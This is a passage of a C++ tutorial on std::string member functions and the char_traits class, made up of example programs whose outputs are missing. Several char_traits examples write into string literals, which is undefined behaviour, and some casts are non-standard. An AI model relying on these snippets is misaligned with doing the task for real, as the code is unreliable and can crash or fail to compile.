<<"element\nof '416' in str4 before the 25th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring '416' were not\n"
<<"found in str4 after the 0th position"<<endl;

string str6("1g");
index7 = str4.find_last_of(str6);
cout<<"\nOperation: str4.find_last_of(str6)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '1g' in str4 before the 0th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring '1g' were not\n"
<<"found in str4 after the 0th position"<< endl;
return 0;
}

Output:

get_allocator()

- This member function returns the stored allocator object.


- Allocators for the string class specify how the class manages storage. The default allocators supplied
with container classes are sufficient for most programming needs.
- Writing and using your own allocator class is an advanced C++ topic and its usage is very specific.
- The return value is the allocator used by the string.

//get_allocator()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//using the default allocator.
string str1;
basic_string <char> str2;
basic_string <char, char_traits<char>, allocator<char> > str3;

//str4 will use the same allocator class as str1

www.tenouk.com Page 5 of 30
basic_string <char> str4(str1.get_allocator());

basic_string <char>::allocator_type xchar = str1.get_allocator();


//You can now call functions on the allocator class xchar used by str1
string str5(xchar);
return 0;
}

insert()

- The return value is either a reference to the string object that is being assigned new characters by the
member function or, in the case of individual character insertions, an iterator addressing the position of
the character inserted, or none, depending on the particular member function.

//insert() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";

cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;

//inserting a C-string at a given position for a specified number of elements


basic_string <char> str2("Test");
const char *cstr2 = "ing an insert()";

cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;

//inserting a string at a given position


basic_string <char> str3(" the insert()");
string str4("Testing");

cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;

//inserting part of a string at a given position


basic_string <char> str5("Testing ");
string str6(" the insert()");

cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}

Output:

www.tenouk.com Page 6 of 30
//insert() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a number of characters at a specified position in the string
string str7("Testing the insert()?");
cout<<"str7 = "<<str7<<endl;
str7.insert(20, 4, '!');
cout<<"Operation: str7.insert(20, 4, '!')"<<endl;
cout<<"Inserting characters: \n"<<str7<<endl;
cout<<endl;

//inserting a character at a specified position in the string


string str8("Tesing the insert()");
cout<<"str8 = "<<str8<<endl;
basic_string <char>::iterator StrIter = (str8.begin() + 3);
str8.insert(StrIter, 't');
cout<<"Operation: str8.insert(StrIter, 't')"<<endl;
cout<<"Inserting missing character: \n"<<str8<<endl;
cout<<endl;

//inserts a range at a specified position in the string


string str9("First part");
string str10("Second partition");
cout<<"str9 = "<<str9<<endl;
cout<<"str10 = "<<str10<<endl;
basic_string <char>::iterator Str9Iter = (str9.begin() + 5);
str9.insert(Str9Iter, str10.begin()+6, str10.end()-4);
cout<<"Operation: str9.insert(Str9Iter, str10.begin()+6,\nstr10.end()-4)"<<endl;
cout<<"Inserting a range of character: \n"<<str9<<endl;
cout<<endl;

//inserting a number of characters at a specified position in the string


string str11("Final insert() test");
cout<<"str11 = "<<str11<<endl;
basic_string <char>::iterator Str11Iter = (str11.begin() + 15);
str11.insert(Str11Iter, 5, 'a');
cout<<"Operation: str11.insert(Str11Iter, 5, 'a')"<<endl;
cout<<"A range of character inserted in the string: \n"<<str11<<endl;
return 0;
}

Output:

www.tenouk.com Page 7 of 30
push_back()

//push_back()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the push_back()");
basic_string <char>::iterator StrIter, Str1Iter;

cout<<"str1 string is: ";


for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
cout<<"Move the pointer to the end of string..."<<endl;
Str1Iter = str1.end();
cout<<"Then add an element to the end of the string..."<<endl;
str1.push_back('T');
cout<<"\nOperation: str1.end() then str1.push_back('T')"<<endl;
cout<<"The last character of str1 string is: "
<<*Str1Iter;
cout<<endl;

cout<<"\nMove the pointer from the beginning to the end..."<<endl;


cout<<"Now, str1 string is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
return 0;
}

Output:

rbegin() and rend()

www.tenouk.com Page 8 of 30
- rbegin() is used with a reversed string just as begin is used with a string.
- If the return value of rbegin() is assigned to a const_reverse_iterator, the string object
cannot be modified. If the return value of rbegin() is assigned to a reverse_iterator, the
string object can be modified.
- rbegin() can be used to initialize an iteration through a string backwards.
- The return value of the rbegin() is a random-access iterator to the first element in a reversed string,
addressing what would be the last element in the corresponding un-reversed string.
- rend() is used with a reversed string just as end is used with a string.
- If the return value of rend() is assigned to a const_reverse_iterator, the string object
cannot be modified. If the return value of rend() is assigned to a reverse_iterator, the string
object can be modified.
- rend()can be used to test whether a reverse iterator has reached the end of its string.
- The return value of the rend() is a reverse random-access iterator that addresses the location
succeeding the last element in a reversed string. The value returned by rend()should not be
dereferenced.

//rbegin() and rend()


#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("The reverse begin, rbegin()"), str2;
basic_string <char>::reverse_iterator StrIter, Str1Iter;
basic_string <char>::const_reverse_iterator str1_rcIter;

//well, no need to minus the null character huh?


cout<<"Operation: str1.rbegin()"<<endl;
Str1Iter = str1.rbegin();
cout<<"The first character of the reversed str1 string is: "
<<*Str1Iter<<endl;
cout<<"The full reversed str1 string is:\n";
//rbegin() should be with rend()
for(StrIter = str1.rbegin(); StrIter != str1.rend(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The dereferenced iterator can be used to modify a character


cout<<"Operation: *Str1Iter = 'Z'"<<endl;
*Str1Iter = 'Z';
cout<<"The first character of the new str1 is: "
<<*Str1Iter<<endl;
cout<<"The full new reversed str1 is:\n";
for(StrIter = str1.rbegin(); StrIter != str1.rend(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The following line will generate error because iterator is const


//*str1_rcIter = 'T';

//For an empty string, rbegin() is equivalent to rend()


cout<<"Operation: str2.rbegin() == str2.rend()"<<endl;
if(str2.rbegin() == str2.rend())
cout<<"The string str2 is empty."<<endl;
else
cout<<"The stringstr2 is not empty."<<endl;
return 0;
}

Output:

www.tenouk.com Page 9 of 30
replace()

- The return value is the operand string with the replacement made.

//replace() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{

//replacing part of the string with


//characters of a string or C-string
//remember that index start from 0!
string str1, str2;
string str3("TESTING");
string str4("ABC");
const char* cstr = "DEF";
cout<<"str3 string is: "<<str3<<endl;
cout<<"str4 string is: "<<str4<<endl;
cout<<"cstr C-string is: "<<cstr<<endl;

str1 = str3.replace(1, 3, str4);


cout<<"Operation: str3.replace(1, 3, str4)"<<endl;
cout<<"The new string is: "<<str1<<endl;
cout<<"\nOperation: str3.replace(5, 3, cstr)"<<endl;
str2 = str3.replace(5, 3, cstr);
cout<<"The new string is: "<<str2<<"\n\n";

//replacing part of the string with characters


//form part of a string or C-string
string str5, str6;
string str7 ("TESTING");
string str8 ("123");
const char* cstr1 = "456";

cout<<"str7 string is: "<<str7<<endl;


cout<<"str8 string is: "<<str8<<endl;
cout<<"cstr1 C-string is: "<<cstr1<<endl;
cout<<"Operation: str7.replace(1, 3, str8, 1, 2)"<<endl;
str5 = str7.replace(1, 3, str8, 1, 2);
cout<<"The new string is: "<<str5<<endl;
cout<<"\nOperation: str7.replace(4, 3, cstr1, 1)"<<endl;
str6 = str7.replace(4, 3, cstr1, 1);
cout<<"The new string is: "<<str6<<"\n\n";

//replacing part of the string with characters


string str9;
string str10 ("TESTING");
char cstr2 = 'R';
cout<<"str10 string is: "<<str10<<endl;
cout<<"cstr2 character is: "<<cstr2<<endl;
cout<<"Operation: str10.replace(2, 4, 5, cstr2)"<<endl;
str9 = str10.replace(2, 4, 5, cstr2);
cout<<"The new string is: "<<str9<<endl;
return 0;
}

Output:

www.tenouk.com Page 10 of 30
//replace() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{

//replacing part of the string, delineated with iterators,


//with a string or C-string
string str11, str12;
string str13("TESTING1");
string str14("123");
const char* cstr3 = "AAA";

cout<<"str13 string is: "<<str13<<endl;


cout<<"str14 string is: "<<str14<<endl;
cout<<"cstr3 C-string is: "<<cstr3<<endl;
basic_string<char>::iterator Iter1, Iter2;

cout<<"Operation: str13.begin()"<<endl;
cout<<"Operation: str13.begin() + 3"<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, str14)"<<endl;

Iter1 = str13.begin();
Iter2 = str13.begin() + 3;
str11 = str13.replace(Iter1, Iter2, str14);
cout<<"The new string is: "<<str11<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, cstr3)"<<endl;
str12 = str13.replace(Iter1, Iter2, cstr3);
cout<<"The new string is: "<<str12<<"\n\n";

//replacing part of the string delineated with iterators


//with a number of C-string characters
string str15;
string str16("TESTING2");
const char* cstr4 = "1234AA";
cout<<"str16 string is: "<<str16<<endl;
cout<<"cstr4 C-string is: "<<cstr4<<endl;
basic_string<char>::iterator Iter3, Iter4;

cout<<"Operation: str16.begin()"<<endl;
cout<<"Operation: str16.begin() + 4"<<endl;
cout<<"Operation: str16.replace(Iter3, Iter4, cstr4, 4)"<<endl;
Iter3 = str16.begin();
Iter4 = str16.begin() + 4;
str15 = str16.replace(Iter3, Iter4, cstr4, 4);
cout<<"The new string is: "<<str15<<"\n\n";

//replacing part of the string delineated with iterators


//with specified characters

www.tenouk.com Page 11 of 30
string str17;
string str18("TESTING3");
char cstr5 = 'u';

cout<<"str18 string is: "<<str18<<endl;


cout<<"cstr5 character is: "<<cstr5<<endl;
basic_string<char>::iterator Iter5, Iter6;
Iter5 = str18.begin();
Iter6 = str18.begin() + 3;

str17 = str18.replace(Iter5, Iter6, 4, cstr5);


cout<<"The new string is: "<<str17<<"\n\n";

//replacing part of the operand string delineated with iterators


//with part of a parameter string delineated with iterators
string str19;
string str20("TESTING4"); //operand
string str21("1234"); //parameter
cout<<"str20 string is: "<<str20<<endl;
cout<<"str21 string is: "<<str21<<endl;
basic_string<char>::iterator Iter7, Iter8, Iter9, Iter10;

cout<<"Operation: str20.begin() + 1"<<endl;


cout<<"Operation: str20.begin() + 3"<<endl;
cout<<"Operation: str21.begin()"<<endl;
cout<<"Operation: str21.begin() + 2"<<endl;

Iter7 = str20.begin() + 1;
Iter8 = str20.begin() + 3;
Iter9 = str21.begin();
Iter10 = str21.begin() + 2;
cout<<"Operation: str20.replace(Iter7, Iter8, Iter9, Iter10)"<<endl;
str19 = str20.replace(Iter7, Iter8, Iter9, Iter10);
cout<<"The new string is: "<<str19<<endl;
return 0;
}

Output:

reserve()

www.tenouk.com Page 12 of 30
- Having sufficient capacity is important because reallocations is a time-consuming process and
invalidates all references, pointers, and iterators that refer to characters in a string.
- Unlike vector (another STL), the member function reserve() may be called to shrink the
capacity of an object. The request is non binding and may or may not happen.
- The default value for the parameter is zero, a call of reserve() is a non-binding request to shrink the
capacity of the string to fit the number of characters currently in the string.
- The capacity is never reduced below the current number of characters.

//reserve()
#include <string>
#include <iostream>
using namespace std;

int main()
{

string str1("Testing the reserve()");


cout<<"str1 string is: "<<str1<<endl;

basic_string <char>::size_type SizeStr1, Size1Str1;


SizeStr1 = str1.size();
basic_string <char>::size_type CapaStr1, Capa1Str1;
CapaStr1 = str1.capacity();

//Compare size & capacity of the original string


cout<<"The size of str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of str1 string is: "<<CapaStr1<<"\n\n";

//Compare size & capacity of the string


//with added capacity
cout<<"Operation: str1.reserve(20)"<<endl;
str1.reserve(20);
Size1Str1 = str1.size();
Capa1Str1 = str1.capacity();

cout<<"str1 with increased capacity is: "<<str1<<endl;


cout<<"The size of str1 string is: "<<Size1Str1<<endl;
cout<<"The increased capacity of str1 string is: "<<Capa1Str1<<"\n\n";

//Compare size & capacity of the string


//with downsized capacity. Without any parameter,
//it should shrink to fit the number of the characters
//currently in the string
cout<<"Operation: str1.reserve()"<<endl;
str1.reserve();
basic_string <char>::size_type Size2Str1;
basic_string <char>::size_type Capa2Str1;
Size2Str1 = str1.size();
Capa2Str1 = str1.capacity();

cout<<"str1 with downsized capacity is: "<<str1<<endl;


cout<<"The size of str1 string is: "<<Size2Str1<<endl;
cout<<"The reduced capacity of str1 string is: "<<Capa2Str1<<endl;
return 0;
}

Output:

www.tenouk.com Page 13 of 30
resize() and size()

- If the resulting size exceeds the maximum number of characters, the form throws length_error
exception handler.

//resize() and size()


#include <string>
#include <iostream>
using namespace std;

int main()
{

string str1("Testing the resize()");


cout<<"str1 string is: "<<str1<<endl;

basic_string <char>::size_type SizeStr1;


SizeStr1 = str1.size();
basic_string <char>::size_type CapaStr1;
CapaStr1 = str1.capacity();

//Compare size & capacity of the original string


cout<<"The size of str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of str1 string is: "<<CapaStr1<<endl;

//Use resize() to increase size by 3 elements


//of the question mark
cout<<"\nOperation: str1.resize(str1.size() + 3, '?')"<<endl;
str1.resize(str1.size() + 3, '?');
cout<<"The resized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after resizing


cout<<"The size of resized str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of resized str1 string is: "<<CapaStr1<<endl;

//Use resize() to increase size by 10 elements:


cout<<"\nOperation: str1.resize(str1.size() + 10)"<<endl;
str1.resize(str1.size() + 10);
cout<<"The resized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after resizing


//note capacity increases automatically as required
cout<<"The increased size of str1 string is: "<<SizeStr1<<endl;
cout<<"The increased capacity of str1 string is: "<<CapaStr1<<endl;

//Use resize() to downsize by 20 elements:


cout<<"\nOperation: str1.resize(str1.size() - 20)"<<endl;
str1.resize(str1.size() - 20);
cout<<"The downsized str1 string is: "<<str1<<endl;

SizeStr1 = str1.size();
CapaStr1 = str1.capacity();

//Compare size & capacity of a string after downsizing


cout<<"The size of downsized str1 string is: "<<SizeStr1<<endl;
cout<<"The capacity of downsized str1 string is: "<<CapaStr1<<endl;
return 0;
}

Output:

www.tenouk.com Page 14 of 30
rfind()

- The return value is the index of the last occurrence when searched backwards, of the first character of
the substring when successful; otherwise npos.

//reversed find, rfind() part I


#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("Testing the rfind() 1..2..3");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

cout<<"Operation: str1.rfind('i', 18)"<<endl;


index1 = str1.rfind('i', 18);
if(index1 != npos)
cout<<"The index of the 1st 'i' found before\nthe 18th"
<<" position in str1 is: "<<index1<<endl;
else
cout<<"The character 'i' was not found in str1."<<endl;

cout<<"\nOperation: str1.rfind('z')"<<endl;
index2 = str1.rfind('z');
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<index2<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
cout<<endl;

//----------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the rfind() 123");
cout<<"The str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr1 = "find";


cout<<"Operation: str2.rfind(cstr1, 25)"<<endl;
index3 = str2.rfind(cstr1, 25);
if(index3 != npos)
cout<<"The index of the 1st element of 'find' "
<<"before\nthe 25th position in str2 is: "<<index3<<endl;
else
cout<<"The substring 'find' was not found in str2."<<endl;

const char *cstr2 = "nofind()";


cout<<"\nOperation: str2.rfind(cstr2, 25)"<<endl;
index4 = str2.rfind(cstr2, 25);
if(index4 != npos)
cout<<"The index of the 1st element of 'nofind()' "

www.tenouk.com Page 15 of 30
<<"before\n the 25th position in str3 is: "<<index4<<endl;
else
cout<<"The substring 'nofind()' was not found in str2."<<endl;
return 0;
}

Output:

//reversed find, rfind() part II


#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Another test. Testing the rfind() the 123");
cout<<"The str3 string is: "<<str3<<endl;
static const basic_string <char>::size_type npos = -1;
basic_string <char>::size_type index5, index6;

const char *cstr3 = "test";


cout<<"Operation: str3.rfind(cstr3)"<<endl;
index5 = str3.rfind(cstr3);
if(index5 != npos)
cout<<"The index of the 1st element of 'test' "
<<"in str3 is: "<<index5<<endl;
else
cout<<"The substring 'test' was not found in str3."<<endl;

const char *cstr4 = "the";


cout<<"\nOperation: str3.rfind(cstr4, index5 + 20, 2)"<<endl;
index6 = str3.rfind(cstr4, index5 + 20, 2);
if(index6 != npos)
cout<<"The index of the next occurrence of 'the' in str3 begins at:"
<<index6<<endl;
else
cout<<"There is no next occurrence of 'the' in str3"<<endl;
cout<<endl;

//----------------------------------------------------------
//searching string for a substring as specified by a string
string str4("Final rfind() testing 1...2...3");
cout<<"The str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("2...3");
cout<<"Operation: str4.rfind(str5, 30)"<<endl;
index7 = str4.rfind(str5, 30);
if(index7 != npos)
cout<<"The index of the 1st element of '1...2' "
<<"before\nthe 30th position in str4 is: "<<index7<<endl;
else
cout<<"The substring '1...2' was not found in str4\n"
<<"before the 30th position."<<endl;

string str6("...3");
cout<<"\nOperation: str4.rfind(str6)"<<endl;

www.tenouk.com Page 16 of 30
index8 = str4.rfind(str6);
if(index8 != npos)
cout<<"The index of the 1st element of '...3' in str4 is: "<<index8<<endl;
else
cout<<"The substring '...3' was not found in str4."<<endl;
return 0;
}

Output:

substr()

- The return value is a substring object that is a copy of elements of the string operand beginning at the
position specified by the first argument.

//substr()
#include <string>
#include <iostream>
using namespace std;

int main()
{

string str1("Testing the substr()");


cout<<"str1 string is: "<<str1<<endl;

cout<<"\nOperation: str1.substr(4, 7)"<<endl;


basic_string <char> str2 = str1.substr(4, 7);
cout<<"The substring str1 copied is: "<<str2<<endl;

cout<<"\nOperation: str1.substr()"<<endl;
basic_string <char> str3 = str1.substr();
cout<<"The default str3 substring is: "<<str3
<<"\nwhich is the original string."<<endl;
return 0;
}

Output:

26.2 char_traits Class

www.tenouk.com Page 17 of 30
- The char_traits class describes attributes associated with a character. The template class
structure for char_traits is shown below.

template <class CharType> struct char_traits;

- Where:

CharType is the type of the data element.

- The template class describes various character traits for type CharType. The template class
basic_string as well as several iostream template classes, including basic_ios, use this
information to manipulate elements of type CharType.
- Such an element type must not require explicit construction or destruction. It must supply a default
constructor, a copy constructor, and an assignment operator, with the expected semantics.
- A bitwise copy must have the same effect as an assignment. None of the member functions of class
char_traits can throw exceptions.

26.3 char_traits Class Typedefs

- The following table is a list of the char_traits class template typedef, the synonym name.

Typedef Brief Description


char_type A type of character.
An integer type that can represent a character of type char_type or an
int_type
end-of-file (EOF) character.
An integer type that can represent offsets between positions in a
off_type
stream.
pos_type An integer type that can represent positions in a stream.
A type that represents the conversion state in for multibyte characters
state_type
in a stream.

Table 26.1: char_traits typedef

26.4 char_traits Class Member Functions

- The following table is a list of the char_traits class template member function.

Member Function Brief Description


assign() Assigns one character value to another.
compare() Compares up to a specified number of characters in two strings.
Copies a specified number of characters from one string to
copy()
another.
eof() Returns the end-of-file (EOF) character.
eq() Tests whether two char_type characters are equal.
eq_int_type() Tests whether two characters represented as int_types are equal.
Searches for the first occurrence of a specified character in a range
find()
of characters.
length() Returns the length of a string.
lt() Tests whether one character is less than another.
Copies a specified number of characters in a sequence to another,
move()
possible overlapping sequence.
not_eof() Tests whether a character is the end-of-file (EOF) character.
Converts an int_type character to the corresponding char_type
to_char_type()
character and returns the result.
Converts a char_type character to the corresponding int_type
to_int_type()
character and returns the result.

Table 26.2: char_traits class template member functions

26.5 char_traits Member Function Program Examples

www.tenouk.com Page 18 of 30
Note:
The following program example may generate a runtime error regarding the buffer overflow, because there are no
explicit exception handling code used in the program, the exceptions should be ‘fully’ handled by the compiler.
Good compiler should warn us regarding the exceptions. If the problem persists, try changing some of the pointer
variables to arrays variables as shown in move() program example. It should be OK.

assign()

//char_traits, assign()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//assigning a character value to another character
char chr1 = 'P';
const char chr2 = 'Q';

cout<<"The initial characters (chr1, chr2) are: ("<<chr1<<","<<chr2<<")"<<endl;


cout<<"Operation: assign(chr1, chr2)"<<endl;
char_traits<char>::assign(chr1, chr2);
cout<<"The new characters (chr1, chr2) are: ("<<chr1<< ", "<<chr2<<")"<<endl;

//assigning character values to initial part of a string


char_traits<char>::char_type* str1 = "Testing assign()";
char_traits<char>::char_type* result;

cout<<"\nThe target string str1 is: "<<str1<<endl;


cout<<"Operation: assign(str1, 5, \'#\')"<<endl;
result = char_traits<char>::assign(str1, 5, '#');
cout<<"The result = "<<result<<endl;
return 0;
}

Output:

compare()

- The comparison between the strings is made element by element, first testing for equality and then, if a
pair of elements in the sequence tests not equal, they are tested for less than.
- If two strings compare equal over a range but one is longer than the other, then the shorter of the two is
less than the longer one.
- The return value is a negative value if the first string is less than the second string, 0 if the two strings
are equal, or a positive value if the first string is greater than the second string.

//char_traits, compare()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type* str1 = "TEST";
char_traits<char>::char_type* str2 = "RETEST";
char_traits<char>::char_type* str3 = "RETEST";
char_traits<char>::char_type* str4 = "TESTING";

cout<<"str1 string is: "<<str1<<endl;


cout<<"str2 string is: "<<str2<<endl;

www.tenouk.com Page 19 of 30
cout<<"str3 string is: "<<str3<<endl;
cout<<"str4 string is: "<<str4<<endl;

cout<<"\nOperation: Comparison..."<<endl;
int comp1, comp2, comp3, comp4;
comp1 = char_traits<char>::compare(str1, str2, 2);
comp2 = char_traits<char>::compare(str2, str3, 3);
comp3 = char_traits<char>::compare(str3, str4, 4);
comp4 = char_traits<char>::compare(str4, str3, 4);
cout<<"compare(str1, str2, 2) = "<<comp1<<endl;
cout<<"compare(str2, str3, 3) = "<<comp2<<endl;
cout<<"compare(str3, str4, 4) = "<<comp3<<endl;
cout<<"compare(str4, str3, 4) = "<<comp4<<endl;
return 0;
}

Output:

Note:
The following program example may generate a runtime error regarding the buffer overflow, because there are no
explicit exception handling code use in the program, the exceptions should be ‘fully’ handled by the compiler.
Good compiler should warn us regarding the exceptions. If the problem persists, try changing some of the pointer
variables to arrays variables as shown in move() program example. It should be OK.

copy()

- The source and destination character sequences must not overlap. Compare with the move() member
function.

//char_traits, copy()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type* str1 = "Testing the copy()";
char_traits<char>::char_type* str2 = "Fucking";
char_traits<char>::char_type* result;

cout<<"The str1, source string is: "<<str1<<endl;


cout<<"The str2, destination string is: "<<str2<<endl;
cout<<"\nOperation: copy(str1, str2, 7)"<<endl;
result = char_traits<char>::copy(str1, str2, 7);
cout<<"The result is: "<<result<<endl;
return 0;
}

Output:

www.tenouk.com Page 20 of 30
eof()

- The return value is a value that represents end of file character (such as EOF or WEOF).
- If the value is represented as type char_type, it must correspond to no valid value of that type.

//char_traits, eof()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
char_traits <char>::int_type int0 = char_traits<char>::eof();
cout<<"The eof return is: "<<int0<<endl;

char_traits<char>::char_type chs = 'R';


char_traits<char>::int_type int1;
int1 =char_traits<char>::to_int_type(chs);
cout<<"char_type chs "<<chs<<" = to int_type "<<int1<<endl;

char_traits <char>::int_type int2 = char_traits<char>::eof();


cout<<"The eof return is: "<<int2<<endl;
return 0;
}

Output:

eq()

- The return value is true if the first character is equal to the second character; otherwise false.

//char_traits, eq()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';

//Testing for equality


bool Var1 = char_traits<char>::eq(chr1, chr2);
cout<<"Operation: eq(chr1, chr2)"<<endl;
if(Var1)
cout<<"The character chr1 and chr2 is equal."<<endl;
else
cout<<"The character chr1 and chr2 is not equal."<<endl;

//alternatively...
cout<<"\nOperation: using \'==\' operator, chr1==chr3"<<endl;
if(chr1 == chr3)
cout<<"The character chr1 and chr3 is equal."<<endl;
else
cout<<"The character chr1 and chr3 is not equal."<<endl;

www.tenouk.com Page 21 of 30
return 0;
}

Output:

eq_int_type()

- The return value is true if the first character is equal to the second character; otherwise false.

//char_traits, eq_int_type()
//and to_int_type()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
char_traits<char>::char_type chr4 = 'r';

//char_type to int_type conversion


char_traits<char>::int_type int1, int2, int3, int4;
int1 = char_traits<char>::to_int_type(chr1);
int2 = char_traits<char>::to_int_type(chr2);
int3 = char_traits<char>::to_int_type(chr3);
int4 = char_traits<char>::to_int_type(chr4);

cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" = "<<int1<<endl;
cout<<chr2<<" = "<<int2<<endl;
cout<<chr4<<" = "<<int4<<endl;

//equality of int_type representations test


cout<<"\nOperation: eq_int_type(int1, int2)"<<endl;
bool var1 = char_traits<char>::eq_int_type(int1, int2);
if(var1)
cout<<"The int_type representation of characters chr1\n"
<<"and chr2 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr2 is not equal."<<endl;

//alternatively...
cout<<"\nOperation: int1 == int3"<<endl;
if(int1 == int3)
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is not equal."<<endl;
return 0;
}

Output:

www.tenouk.com Page 22 of 30
find()

//char_traits, find()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
const char* str = "Testing the char_traits, find()";
const char* result1;
cout<<"The string to be searched is:\n"<<str<<endl;

//Searching for a 'a' in the first 20 positions of string str


cout<<"\nOperation: find(str, 20, 'a')"<<endl;
result1 = char_traits<char>::find(str, 20, 'a');
cout<<"Searching character \'"<<*result1<<"\'."<<endl;
cout<<"The string beginning with the first occurrence\n"
<<"of the character 'a' is: "<<result1<<endl;

//When no match is found the NULL value is returned


const char* result2;
result2 = char_traits<char>::find(str, 20, 'z');
cout<<"\nOperation: find(str, 20, 'z')"<<endl;
if(result2 == NULL)
cout<<"The character 'z' was not found."<<endl;
else
cout<<"The result of the search is: "<<result2<<endl;
return 0;
}

Output:

length()

- The return value is the number of elements in the sequence being measured, not including the null
terminator.

//char_traits, length()
#include <string>
#include <iostream>
using namespace std;

www.tenouk.com Page 23 of 30
int main()
{
const char* str1= "Testing 1...2...3";
cout<<"str1 C-string is: "<<str1<<endl;

size_t LenStr1;
cout<<"\nOperation: length(str1)"<<endl;
LenStr1 = char_traits<char>::length(str1);
cout<<"The length of str1 is: "<<unsigned int(LenStr1)<<endl;
return 0;
}

Output:

lt()

- The return value is true if the first character is less than the second character; otherwise false.

//char_traits, lt()
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = '1';
char_traits<char>::char_type chr2 = 'q';
char_traits<char>::char_type chr3 = 'R';

char_traits<char>::int_type int1, int2, int3;


int1 = char_traits<char>::to_int_type(chr1);
int2 = char_traits<char>::to_int_type(chr2);
int3 = char_traits<char>::to_int_type(chr3);

//char_type to int_type conversion, for testing


cout<<"chr1 = "<<chr1<<", chr2 = "<<chr2<<", chr3 = "<<chr3<<endl;
cout<<"chr1 = "<<int1<<", chr2 = "<<int2<<", chr3 = "<<int3<<endl;

//Testing for less than


cout<<"\nOperation: lt(chr1, chr2)"<<endl;
bool var1 = char_traits<char>::lt(chr1, chr2);
if(var1)
cout<<"The chr1 is less than "
<<"the chr2."<<endl;
else
cout<<"The chr1 is not less "
<<"than the chr2."<<endl;
//alternatively...
cout<<"\nOperation: chr2 < chr3"<<endl;
if(chr2 < chr3)
cout<<"The chr2 is less than "
<<"the chr3."<<endl;
else
cout<<"The chr2 is not less "
<<"than the chr3."<<endl;
return 0;
}

Output:

www.tenouk.com Page 24 of 30
move()

- The source and destination may overlap. Compare with copy().


- The return value is the first element is copied into the string or character array targeted to receive the
copied sequence of characters.

//char_traits, move(), find()


#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type str1[25] = "The Hell Boy";
char_traits<char>::char_type str2[25] = "Something To ponder";
char_traits<char>::char_type *result1;

cout<<"The source str1 string is: "<<str1<<endl;


cout<<"The destination str2 string is: "<<str2<<endl;
result1 = char_traits<char>::move(str2, str1, 10);
cout<<"\nOperation: move(str2, str1, 10)"<<endl;
cout<<"The result1 = "<<result1<<endl;

//When source and destination overlap


char_traits<char>::char_type str3[30] = "Testing the move()";
char_traits<char>::char_type *result2;
cout << "The source/destination str3 string is: "<<str3<<endl;

cout<<"\nOperation: str4 = find(str3, 12, 'h')"<<endl;


const char *str4 = char_traits<char>::find(str3, 12, 'h');
cout<<"Operation: move(str3, str4, 9)"<<endl;
